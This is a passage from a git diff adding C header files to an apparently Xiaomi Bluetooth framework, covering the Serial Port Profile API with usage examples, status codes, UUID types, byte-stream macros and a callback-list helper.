bt_trace_end(tag, point) bt_note_end(tag, point) +#else +#define bt_trace_start() +#define bt_trace_stop() +#define bt_trace_begin(tag, point) +#define bt_trace_end(tag, point) +#endif + +#endif // _BT_SCHED_TRACE_H_ \ No newline at end of file diff --git a/framework/include/bt_spp.h b/framework/include/bt_spp.h new file mode 100644 index 0000000000000000000000000000000000000000..b8d089b3cb8e663f33d19ce071b887e03a80cc64 --- /dev/null +++ b/framework/include/bt_spp.h @@ -0,0 +1,463 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_SPP_H__ +#define __BT_SPP_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +#include <stddef.h> + +#include "bluetooth.h" +#include "bt_device.h" + +#ifndef BTSYMBOLS +#define BTSYMBOLS(s) s +#endif + +/** + * @cond + */ + +/** + * @brief Unknow server channel number + * + */ +#define UNKNOWN_SERVER_CHANNEL_NUM -1 + +/** + * @brief Serial Port Profile (SPP) UUID + * + */ +#define BT_UUID_SERVCLASS_SERIAL_PORT 0x1101 + +/** + * @brief Spp proxy state + * + */ +typedef enum { + SPP_PROXY_STATE_CONNECTED, + SPP_PROXY_STATE_DISCONNECTED, + SPP_PROXY_STATE_CONNECTING, + SPP_PROXY_STATE_CLOSING, +} spp_proxy_state_t; + +/** + * @brief Callback used to notify SPP connection states. + * + * When the SPP connection state changes, this callback will be triggered. + * SPP connection states include DISCONNECTED, CONNECTING, CONNECTED, and + * DISCONNECTING. After the callback is triggered, the application will be + * notified with the APP handle corresponding to the SPP connection state, + * the Bluetooth address of the peer device, the server channel number used + * for the SPP connection, the SPP connection port, and the latest SPP connection + * state. + * + * @param handle - SPP APP handle, the return value of bt_spp_register_app. + * @param addr - The Bluetooth address of the peer device. + * @param scn - Server channel number, range in 1-28. + * @param port - The The unique port of connection. + * @param state - SPP connection state + * + * **Example:** + * @code +void spp_connection_state_cb(void* handle, bt_address_t* addr, + uint16_t scn, uint16_t port, + profile_connection_state_t state) +{ + printf("spp_connection_state_cb, state: %d\n", state); +} + * @endcode + */ +typedef void (*spp_connection_state_callback)(void* handle, bt_address_t* addr, + uint16_t scn, uint16_t port, + profile_connection_state_t state); + +/** + * @brief Callback used to notify SPP PTY open. [deprecated] + * + * After a successful establishment of the SPP connection, the PTY will be + * opened. If the PTY is successfully opened, this callback will be triggered + * to notify the application that the PTY has been opened.The APP handle + * corresponding to the SPP connection, the Bluetooth address of the peer device, + * the server channel number, the connection port, and the PTY name also be + * notified. + * + * @note This callback is deprecated, use spp_proxy_state_callback instead. + * + * @param handle - SPP APP handle, the return value of bt_spp_register_app. + * @param addr - The Bluetooth address of the peer device. + * @param scn - Server channel number, range in 1-28. + * @param port - The unique port of connection. + * @param name - PTY slave device name, like "/dev/pts/0" + * + * **Example:** + * @code +void spp_pty_open_cb(void* handle, bt_address_t* addr, uint16_t scn, uint16_t port, char* name) +{ + printf("spp_pty_open_cb, scn: %d, port: %d, name: %s\n", scn, port, name); +} + * @endcode + */ +typedef void (*spp_pty_open_callback)(void* handle, bt_address_t* addr, uint16_t scn, uint16_t port, char* name); + +/** + * @brief Callback used to notify SPP proxy states. + * + * When the SPP proxy state changes, this callback will be triggered. The SPP + * proxy states include CONNECTED and DISCONNECTED. After the callback is triggered, + * the application will be notified with the APP handle corresponding to the SPP + * proxy state, the Bluetooth address of the peer device, the server channel number + * used for the SPP connection, the SPP connection port, and the latest SPP proxy + * state. + * + * @param handle - SPP APP handle, the return value of bt_spp_register_app. + * @param addr - The Bluetooth address of the peer device. + * @param state - SPP proxy state. + * @param scn - Server channel number, range in 1-28. + * @param port - The unique port of connection. + * @param name - Proxy name, like "btspp-srv0" + * + * **Example:** + * @code +void spp_proxy_state_cb(void* handle, bt_address_t* addr, spp_proxy_state_t state, uint16_t scn, uint16_t port, char* name) +{ + printf("spp_proxy_state_cb, state: %d, scn: %d, port: %d, name: %s\n", state, scn, port, name); +} + * @endcode + */ +typedef void (*spp_proxy_state_callback)(void* handle, bt_address_t* addr, spp_proxy_state_t state, uint16_t scn, uint16_t port, char* name); + +/** + * @brief SPP event callbacks structure + * + */ +typedef struct { + size_t size; + spp_pty_open_callback pty_open_cb; /* [deprecated] */ + spp_connection_state_callback connection_state_cb; + spp_proxy_state_callback proxy_state_cb; +} spp_callbacks_t; + +/** + * @endcond + */ + +/** + * @brief Register an SPP service for applications. + * + * The application can register an SPP service through this function. Before using + * this function, the application should prepare callback functions for receiving + * SPP connection states notifications and SPP proxy states notifications or PTY open + * information notifications to register the service. After calling this function, + * the application will receive a handle to identify the application entity in the + * SPP service, which is used by the SPP service to find the corresponding application. + * + * @note It should be noted that the callback used for PTY open is not recommended, the + * callback used for SPP proxy states is recommended. + * + * @param ins - Bluetooth client instance. + * @param callbacks - SPP callback functions. + * @return void* - SPP APP handle, NULL represents fail. + * + * **Example:** + * @code +void* spp_handle; +const static spp_callbacks_t callbacks = { + .size = sizeof(spp_callbacks_t), + .connection_state_cb = spp_connection_state_cb, + .spp_proxy_state_cb = spp_proxy_state_cb, +}; + +void app_init_spp_1(bt_instance_t* ins) +{ + spp_handle = bt_spp_register_app(ins, &callbacks); + if(!spp_handle) + printf("register spp app failed\n"); + else + printf("register spp app success\n"); +} + * @endcode + */ +void* BTSYMBOLS(bt_spp_register_app)(bt_instance_t* ins, const spp_callbacks_t* callbacks); + +/** + * @brief Register an SPP service with specified extended parameters for applications. + * + * The application can register the SPP service with the specified name and port + * type used in the SPP service through this function. Before using this function, + * the application should prepare callback functions for receiving SPP connection + * states notifications and SPP proxy states notifications or PTY open information + * notifications to register the service. After calling this function, the application + * will receive a handle to identify the application entity in the SPP service, which + * is used by the SPP service to find the corresponding application. + * + * @note It should be noted that the callback used for PTY open is not recommended, the + * callback used for SPP proxy states is recommended. + * + * @param ins - Bluetooth client instance. + * @param callbacks - SPP callback functions. + * @param name - SPP application name. + * @param port_type - SPP port type used in SPP service, not used. + * @return void* - SPP application handle, NULL represents fail. + * + * **Example:** + * @code +void* spp_handle; +const static spp_callbacks_t callbacks = { + .size = sizeof(spp_callbacks_t), + .connection_state_cb = spp_connection_state_cb, + .spp_proxy_state_cb = spp_proxy_state_cb, +}; + +void app_init_spp_2(bt_instance_t* ins) +{ + char* name = "spp_app_name"; + + spp_handle = bt_spp_register_app_ext(ins, name, 0, &callbacks); + if(!spp_handle) + printf("register spp app failed\n"); + else + printf("register spp app success\n"); +} + * @endcode + */ +void* BTSYMBOLS(bt_spp_register_app_ext)(bt_instance_t* ins, const char* name, int port_type, const spp_callbacks_t* callbacks); + +/** + * @brief Register an SPP service with specified parameters for applications. + * + * The application can register the SPP service with the specified name and port + * type used in the SPP service through this function. Before using this function, + * the application should prepare callback functions for receiving SPP connection + * states notifications and SPP proxy states notifications or PTY open information + * notifications to register the service. After calling this function, the application + * will obtain a handle to identify the application entity in the SPP service, which + * will be used for the SPP service to find the corresponding application. + * + * @note It should be noted that the callback used for PTY open is not recommended, the + * callback used for SPP proxy states is recommended. + * + * @param ins - Bluetooth client instance. + * @param callbacks - SPP callback functions. + * @param name - SPP application name. + * @return void* - SPP application handle, NULL represents fail. + * + * **Example:** + * @code +void* spp_handle; +const static spp_callbacks_t callbacks = { + .size = sizeof(spp_callbacks_t), + .connection_state_cb = spp_connection_state_cb, + .spp_proxy_state_cb = spp_proxy_state_cb, +}; + +void app_init_spp_3(bt_instance_t* ins) +{ + char* name = "spp_app_name"; + + spp_handle = bt_spp_register_app_with_name(ins, name, &callbacks); + if(!spp_handle) + printf("register spp app failed\n"); + else + printf("register spp app success\n"); +} + * @endcode + */ +void* BTSYMBOLS(bt_spp_register_app_with_name)(bt_instance_t* ins, const char* name, const spp_callbacks_t* callbacks); + +/** + * @brief Unregister SPP service for applications. + * + * This function is used to unregister the SPP service for an application. Before + * using this function, the application should have completed registration + * of the Bluetooth service and obtained a valid handle. After the function returns + * a successful result, the application have unregistered the SPP service. + * + * @param ins - Bluetooth client instance. + * @param handle - SPP APP handle. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +void app_unregister_spp_app(bt_instance_t* ins, void* handle) +{ + bt_status_t status; + + if(spp_handle) + return; + + status = bt_spp_unregister_app(ins, spp_handle); + if(status != BT_STATUS_SUCCESS) + printf("unregister spp app failed\n"); + else + printf("unregister spp app success\n"); +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_spp_unregister_app)(bt_instance_t* ins, void* handle); + +/** + * @brief Start the SPP server. + * + * This function is used to start an SPP server for a application. Before + * using this function, the application should have completed registration + * of the Bluetooth service and obtained a valid handle. In addition, the application + * needs to specify the server channel number, UUID and maximum number of supported + * connections using this function. After the function returns a successful result, + * the application will have started an SPP server that can be connected by SPP clients + * on other devices. + * + * @param ins - Bluetooth client instance. + * @param handle - SPP application handle. + * @param scn - Server channel number, range in 1-28. + * @param uuid - Server uuid, default:0x1101. + * @param max_connection - Maximum of client connections. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +void app_start_spp_server(bt_instance_t* ins, void* handle) +{ + bt_status_t status; + uint16_t scn = 1; + bt_uuid_t uuid = { + .type = BT_UUID_TYPE_16, + .value = {0x11, 0x01}, + }; + uint8_t max_connection = 1; + + status = bt_spp_server_start(ins, handle, scn, &uuid, max_connection); + if(status != BT_STATUS_SUCCESS) + printf("start spp server failed\n"); + else + printf("start spp server success\n"); +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_spp_server_start)(bt_instance_t* ins, void* handle, uint16_t scn, bt_uuid_t* uuid, uint8_t max_connection); + +/** + * @brief Stop the SPP server. + * + * This function is used to stop an SPP server for a application. Before + * using this function, the application should have started SPP server. + * In addition, the application needs to specify the server channel number using + * this function. After the function returns a successful result, the application + * will have stopped the SPP server. + * + * @param ins - Bluetooth client instance. + * @param handle - SPP application handle. + * @param scn - Server channel number, range in 1-28. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +void app_stop_spp_server(bt_instance_t* ins, void* handle) +{ + bt_status_t status; + uint16_t scn = 1; + + status = bt_spp_server_stop(ins, handle, scn); + if(status != BT_STATUS_SUCCESS) + printf("stop spp server failed\n"); + else + printf("stop spp server success\n"); +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_spp_server_stop)(bt_instance_t* ins, void* handle, uint16_t scn); + +/** + * @brief Connect to the SPP server + * + * This function is used to initiate a connection to the SPP server of a specified + * device. Before using this function, the application needs to complete SPP service + * registration and obtain a valid handle. In addition, when the application uses + * this function, it needs to specify the address of the remote device, the server + * channel number, UUID, and port used. If this function returns a successful result, + * an SPP connection will be established with the remote device. + * + * @param[in] ins - Bluetooth client instance. + * @param[in] handle - SPP application handle. + * @param[in] addr - The Bluetooth address of the peer device. + * @param[in] scn - Server channel number, range in 1-28. + * - UNKNOWN_SERVER_CHANNEL_NUM: Not specify scn. + * @param[in] uuid - Server uuid, default:0x1101. + * @param[out] port - The unique port of connection. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +void app_connect_spp_server(bt_instance_t* ins, void* handle) +{ + bt_status_t status; + bt_address_t addr = { + .address = {0x01, 0x02, 0x03, 0x04, 0x05, 0x06}, + }; + uint16_t port; + + status = bt_spp_connect(ins, handle, &addr, UNKNOWN_SERVER_CHANNEL_NUM, NULL, &port); + if(status != BT_STATUS_SUCCESS) + printf("connect spp server failed\n"); + else + printf("connect spp server success\n"); +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_spp_connect)(bt_instance_t* ins, void* handle, bt_address_t* addr, int16_t scn, bt_uuid_t* uuid, uint16_t* port); + +/** + * @brief Disconnect to SPP server + * + * This function is used to initiate an SPP disconnection to a specified device. + * Before using this function, an SPP connection should have been successfully + * established with the remote device. In addition, the function requires providing + * the address of the remote device and the port used. + * + * @param ins - Bluetooth client instance. + * @param handle - SPP application handle. + * @param addr - The Bluetooth address of the peer device. + * @param port The unique port of connection. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +void app_disconnect_spp_server(bt_instance_t* ins, void* handle) +{ + bt_status_t status; + bt_address_t addr = { + .addr = {0x01, 0x02, 0x03, 0x04, 0x05, 0x06}, + }; + uint16_t port = 1; + + status = bt_spp_disconnect(ins, handle, &addr, port); + if(status != BT_STATUS_SUCCESS) + printf("disconnect spp server failed\n"); + else + printf("disconnect spp server success\n"); +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_spp_disconnect)(bt_instance_t* ins, void* handle, bt_address_t* addr, uint16_t port); + +#ifdef __cplusplus +} +#endif + +#endif /* __BT_SPP_H__ */ diff --git a/framework/include/bt_status.h b/framework/include/bt_status.h new file mode 100644 index 0000000000000000000000000000000000000000..d45d1769b44668332e85c9b3fe04760fab230222 --- /dev/null +++ b/framework/include/bt_status.h @@ -0,0 +1,71 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef _BT_STATUS_H__ +#define _BT_STATUS_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +#ifndef ANDROID_LIBBLUETOOTH +/* + * hardware/libhardware/include/hardware/bluetooth.h + * This definition was copied from Android 13. + * DON NOT MODIFY IT !!! + */ +typedef enum { + BT_STATUS_SUCCESS, /* Success */ + BT_STATUS_FAIL, /* Failure */ + BT_STATUS_NOT_READY, + BT_STATUS_NOMEM, /* Heap not enough */ + BT_STATUS_BUSY, /* Busy */ + BT_STATUS_DONE, /* request already completed */ + BT_STATUS_UNSUPPORTED, + BT_STATUS_PARM_INVALID, /* Invalid parameter */ + BT_STATUS_UNHANDLED, + BT_STATUS_AUTH_FAILURE, /* remote accepts AUTH request, but AUTH failure */ + BT_STATUS_RMT_DEV_DOWN, /* remote device not in BT range */ + BT_STATUS_AUTH_REJECTED, /* remote rejects AUTH request */ + BT_STATUS_JNI_ENVIRONMENT_ERROR, + BT_STATUS_JNI_THREAD_ATTACH_ERROR, + BT_STATUS_WAKELOCK_ERROR +} bt_status_t; +#endif + +// Rename the status +#define BT_STATUS_NOT_ENABLED BT_STATUS_NOT_READY /* Bluetooth service not enabled */ +#define BT_STATUS_NOT_SUPPORTED BT_STATUS_UNSUPPORTED /* Profile or festure not enable, should set related config */ + +// !!! If Android add more definitioin of status, please don't forget to modify this definition!!! +#define BT_STATUS_EXT_START (BT_STATUS_WAKELOCK_ERROR + 0x20) + +// Add new status +#define BT_STATUS_ERROR_BUT_UNKNOWN (BT_STATUS_EXT_START + 0x01) /* Unknown error */ +#define BT_STATUS_NOT_FOUND (BT_STATUS_EXT_START + 0x02) /* Can't get what you expect */ +#define BT_STATUS_DEVICE_NOT_FOUND (BT_STATUS_EXT_START + 0x03) /* Device not found */ +#define BT_STATUS_SERVICE_NOT_FOUND (BT_STATUS_EXT_START + 0x04) /* Profile service not enable */ +#define BT_STATUS_NO_RESOURCES (BT_STATUS_EXT_START + 0x05) /* Can't alloc resource in manager */ +#define BT_STATUS_IPC_ERROR (BT_STATUS_EXT_START + 0x06) /* IPC communication error */ +#define BT_STATUS_PAGE_TIMEOUT (BT_STATUS_EXT_START + 0x07) +#define BT_STATUS_RMT_DEV_TERMINATE (BT_STATUS_EXT_START + 0x08) /* remote disconnect the link actively */ +#define BT_STATUS_LOCAL_TERMINATED (BT_STATUS_EXT_START + 0x09) /* local disconnect the link or cancel connecting */ + +#ifdef __cplusplus +} +#endif + +#endif /* _BT_STATUS_H__ */ diff --git a/framework/include/bt_time.h b/framework/include/bt_time.h new file mode 100644 index 0000000000000000000000000000000000000000..11f0decb68acea162964b4c699b1af8e5a3553e7 --- /dev/null +++ b/framework/include/bt_time.h @@ -0,0 +1,25 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef _BT_TIME_H__ +#define _BT_TIME_H__ + +#include <stdint.h> + +uint64_t bt_get_os_timestamp_us(void); + +uint32_t bt_get_os_timestamp_ms(void); + +#endif /* _BT_STORAGE_H__ */ \ No newline at end of file diff --git a/framework/include/bt_utils.h b/framework/include/bt_utils.h new file mode 100644 index 0000000000000000000000000000000000000000..0619bc6ed12fad760eab85fa8ff33a672488d1b9 --- /dev/null +++ b/framework/include/bt_utils.h @@ -0,0 +1,192 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_UTILS_H__ +#define __BT_UTILS_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +#ifndef ARRAY_SIZE +#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) +#endif + +#define CASE_RETURN_STR(const) \ + case const: \ + return #const; + +#define DEFAULT_BREAK() \ + default: \ + break; + +#define UINT64_TO_BE_STREAM(p, u64) \ + { \ + *(p)++ = (uint8_t)((u64) >> 56); \ + *(p)++ = (uint8_t)((u64) >> 48); \ + *(p)++ = (uint8_t)((u64) >> 40); \ + *(p)++ = (uint8_t)((u64) >> 32); \ + *(p)++ = (uint8_t)((u64) >> 24); \ + *(p)++ = (uint8_t)((u64) >> 16); \ + *(p)++ = (uint8_t)((u64) >> 8); \ + *(p)++ = (uint8_t)(u64); \ + } +#define UINT32_TO_STREAM(p, u32) \ + { \ + *(p)++ = (uint8_t)(u32); \ + *(p)++ = (uint8_t)((u32) >> 8); \ + *(p)++ = (uint8_t)((u32) >> 16); \ + *(p)++ = (uint8_t)((u32) >> 24); \ + } +#define UINT24_TO_STREAM(p, u24) \ + { \ + *(p)++ = (uint8_t)(u24); \ + *(p)++ = (uint8_t)((u24) >> 8); \ + *(p)++ = (uint8_t)((u24) >> 16); \ + } +#define UINT16_TO_STREAM(p, u16) \ + { \ + *(p)++ = (uint8_t)(u16); \ + *(p)++ = (uint8_t)((u16) >> 8); \ + } +#define UINT8_TO_STREAM(p, u8) \ + { \ + *(p)++ = (uint8_t)(u8); \ + } +#define INT8_TO_STREAM(p, u8) \ + { \ + *(p)++ = (int8_t)(u8); \ + } +#define ARRAY16_TO_STREAM(p, a) \ + { \ + int ijk; \ + for (ijk = 0; ijk < 16; ijk++) \ + *(p)++ = (uint8_t)(a)[15 - ijk]; \ + } +#define ARRAY8_TO_STREAM(p, a) \ + { \ + int ijk; \ + for (ijk = 0; ijk < 8; ijk++) \ + *(p)++ = (uint8_t)(a)[7 - ijk]; \ + } +#define LAP_TO_STREAM(p, a) \ + { \ + int ijk; \ + for (ijk = 0; ijk < LAP_LEN; ijk++) \ + *(p)++ = (uint8_t)(a)[LAP_LEN - 1 - ijk]; \ + } +#define ARRAY_TO_STREAM(p, a, len) \ + { \ + int ijk; \ + for (ijk = 0; ijk < (len); ijk++) \ + *(p)++ = (uint8_t)(a)[ijk]; \ + } +#define STREAM_TO_INT8(u8, p) \ + { \ + (u8) = (*((int8_t*)(p))); \ + (p) += 1; \ + } +#define STREAM_TO_UINT8(u8, p) \ + { \ + (u8) = (uint8_t)(*(p)); \ + (p) += 1; \ + } +#define STREAM_TO_UINT16(u16, p) \ + { \ + (u16) = ((uint16_t)(*(p)) + (((uint16_t)(*((p) + 1))) << 8)); \ + (p) += 2; \ + } +#define STREAM_TO_UINT24(u32, p) \ + { \ + (u32) = (((uint32_t)(*(p))) + ((((uint32_t)(*((p) + 1)))) << 8) + ((((uint32_t)(*((p) + 2)))) << 16)); \ + (p) += 3; \ + } +#define STREAM_TO_UINT32(u32, p) \ + { \ + (u32) = (((uint32_t)(*(p))) + ((((uint32_t)(*((p) + 1)))) << 8) + ((((uint32_t)(*((p) + 2)))) << 16) + ((((uint32_t)(*((p) + 3)))) << 24)); \ + (p) += 4; \ + } +#define STREAM_TO_UINT64(u64, p) \ + { \ + (u64) = (((uint64_t)(*(p))) + ((((uint64_t)(*((p) + 1)))) << 8) + ((((uint64_t)(*((p) + 2)))) << 16) + ((((uint64_t)(*((p) + 3)))) << 24) + ((((uint64_t)(*((p) + 4)))) << 32) + ((((uint64_t)(*((p) + 5)))) << 40) + ((((uint64_t)(*((p) + 6)))) << 48) + ((((uint64_t)(*((p) + 7)))) << 56)); \ + (p) += 8; \ + } +#define STREAM_TO_ARRAY16(a, p) \ + { \ + int ijk; \ + uint8_t* _pa = (uint8_t*)(a) + 15; \ + for (ijk = 0; ijk < 16; ijk++) \ + *_pa-- = *(p)++; \ + } +#define STREAM_TO_ARRAY8(a, p) \ + { \ + int ijk; \ + uint8_t* _pa = (uint8_t*)(a) + 7; \ + for (ijk = 0; ijk < 8; ijk++) \ + *_pa-- = *(p)++; \ + } +#define STREAM_TO_LAP(a, p) \ + { \ + int ijk; \ + uint8_t* plap = (uint8_t*)(a) + LAP_LEN - 1; \ + for (ijk = 0; ijk < LAP_LEN; ijk++) \ + *plap-- = *(p)++; \ + } +#define STREAM_TO_ARRAY(a, p, len) \ + { \ + int ijk; \ + for (ijk = 0; ijk < (len); ijk++) \ + ((uint8_t*)(a))[ijk] = *(p)++; \ + } +#define STREAM_SKIP_UINT8(p) \ + do { \ + (p) += 1; \ + } while (0) +#define STREAM_SKIP_UINT16(p) \ + do { \ + (p) += 2; \ + } while (0) +#define STREAM_SKIP_UINT32(p) \ + do { \ + (p) += 4; \ + } while (0) + +#define BE_STREAM_TO_UINT8(u8, p) \ + { \ + (u8) = (uint8_t)(*(p)); \ + (p) += 1; \ + } +#define BE_STREAM_TO_UINT16(u16, p) \ + { \ + (u16) = (uint16_t)(((uint16_t)(*(p)) << 8) + (uint16_t)(*((p) + 1))); \ + (p) += 2; \ + } +#define BE_STREAM_TO_UINT24(u32, p) \ + { \ + (u32) = (((uint32_t)(*((p) + 2))) + ((uint32_t)(*((p) + 1)) << 8) + ((uint32_t)(*(p)) << 16)); \ + (p) += 3; \ + } +#define BE_STREAM_TO_UINT32(u32, p) \ + { \ + (u32) = ((uint32_t)(*((p) + 3)) + ((uint32_t)(*((p) + 2)) << 8) + ((uint32_t)(*((p) + 1)) << 16) + ((uint32_t)(*(p)) << 24)); \ + (p) += 4; \ + } + +#ifdef __cplusplus +} +#endif + +#endif \ No newline at end of file diff --git a/framework/include/bt_uuid.h b/framework/include/bt_uuid.h new file mode 100644 index 0000000000000000000000000000000000000000..c8e12eed12ad1c383cd5fdd9b69fcc78f15707ac --- /dev/null +++ b/framework/include/bt_uuid.h @@ -0,0 +1,86 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_UUID_H__ +#define __BT_UUID_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +#include <stdbool.h> +#include <stdint.h> + +/** + * @cond + */ + +#define BT_UUID_A2DP_SRC 0x110A +#define BT_UUID_A2DP_SNK 0x110B +#define BT_UUID_HFP 0x111E +#define BT_UUID_HFP_AG 0x111F + +typedef enum { + BT_UUID16_TYPE = 2, + BT_UUID32_TYPE = 4, + BT_UUID128_TYPE = 16, +} uuid_type_t; + +typedef enum { + BT_HEAD_UUID16_TYPE = 1, + BT_HEAD_UUID32_TYPE = 2, + BT_HEAD_UUID128_TYPE = 3, +} head_uuid_type_t; + +typedef struct { + uint8_t type; /* uuid_type_t */ + uint8_t pad[3]; + + union { + uint16_t u16; + uint32_t u32; + uint8_t u128[16]; + } val; +} bt_uuid_t; + +#ifndef BT_UUID_DECLARE_16 +#define BT_UUID_DECLARE_16(value) \ + ((bt_uuid_t) { .type = BT_UUID16_TYPE, .val.u16 = (value) }) +#endif + +#ifndef BT_UUID_DECLARE_32 +#define BT_UUID_DECLARE_32(value) \ + ((bt_uuid_t) { .type = BT_UUID32_TYPE, .val.u32 = (value) }) +#endif + +#ifndef BT_UUID_DECLARE_128 +#define BT_UUID_DECLARE_128(value...) \ + ((bt_uuid_t) { .type = BT_UUID128_TYPE, .val.u128 = { value } }) +#endif + +void bt_uuid_to_uuid128(const bt_uuid_t* src, bt_uuid_t* uuid128); +void bt_uuid_to_uuid16(const bt_uuid_t* src, bt_uuid_t* uuid16); +int bt_uuid_compare(const bt_uuid_t* uuid1, const bt_uuid_t* uuid2); +int bt_uuid16_create(bt_uuid_t* uuid16, uint16_t value); +int bt_uuid32_create(bt_uuid_t* uuid32, uint32_t value); +int bt_uuid128_create(bt_uuid_t* uuid128, const uint8_t* value); +bool bt_uuid_create_common(bt_uuid_t* uuid, const uint8_t* data, uint8_t type); +int bt_uuid_to_string(const bt_uuid_t* uuid, char* str, uint32_t len); + +#ifdef __cplusplus +} +#endif + +#endif /* __BT_UUID_H__ */ diff --git a/framework/include/callbacks_list.h b/framework/include/callbacks_list.h new file mode 100644 index 0000000000000000000000000000000000000000..f18c6e505f0aa58cb1a13a777cbb27c7e60b9d5e --- /dev/null +++ b/framework/include/callbacks_list.h @@ -0,0 +1,68 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __SERVICE_COMMON_CALLBACKS_LIST_H +#define __SERVICE_COMMON_CALLBACKS_LIST_H + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include <pthread.h> +#include <stdbool.h> +#include <stdint.h> + +#include "bt_list.h" + +typedef struct callback { + void* remote; + void* callbacks; +} remote_callback_t; + +typedef struct { + uint8_t max_reg; + uint8_t registed; + bt_list_t* list; + pthread_mutex_t lock; +} callbacks_list_t; + +#define BT_CALLBACK_FOREACH(_cbsl, _type, _cback, args...) \ + do { \ + callbacks_list_t* __cbsl = _cbsl; \ + if (__cbsl == NULL) \ + break; \ + bt_list_node_t* _node; \ + bt_list_t* _list = __cbsl->list; \ + pthread_mutex_lock(&__cbsl->lock); \ + for (_node = bt_list_head(_list); _node != NULL; _node = bt_list_next(_list, _node)) { \ + remote_callback_t* _rcbk = (remote_callback_t*)bt_list_node(_node); \ + _type* _cbs = (_type*)_rcbk->callbacks; \ + void* _remote = _rcbk->remote ? _rcbk->remote : _rcbk; \ + if (_cbs && _cbs->_cback) \ + _cbs->_cback(_remote, args); \ + } \ + pthread_mutex_unlock(&__cbsl->lock); \ + } while (0) + +callbacks_list_t* bt_callbacks_list_new(uint8_t max); +remote_callback_t* bt_callbacks_register(callbacks_list_t* cbsl, void* callbacks); +bool bt_callbacks_unregister(callbacks_list_t* cbsl, remote_callback_t* rcbks); +remote_callback_t* bt_remote_callbacks_register(callbacks_list_t* cbsl, void* remote, void* callbacks); +bool bt_remote_callbacks_unregister(callbacks_list_t* cbsl, void** remote, remote_callback_t* rcbks); +void bt_callbacks_foreach(callbacks_list_t* cbsl, void* context); +void bt_callbacks_list_free(void* cbsl); +uint8_t bt_callbacks_list_count(callbacks_list_t* cbsl); + +#endif diff --git a/framework/include/euv_pipe.h b/framework/include/euv_pipe.h new file mode 100644 index 0000000000000000000000000000000000000000..8b14465435529adae4b3dd0cc43169a77efdc891 --- /dev/null +++ b/framework/include/euv_pipe.h @@ -0,0 +1,60 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef 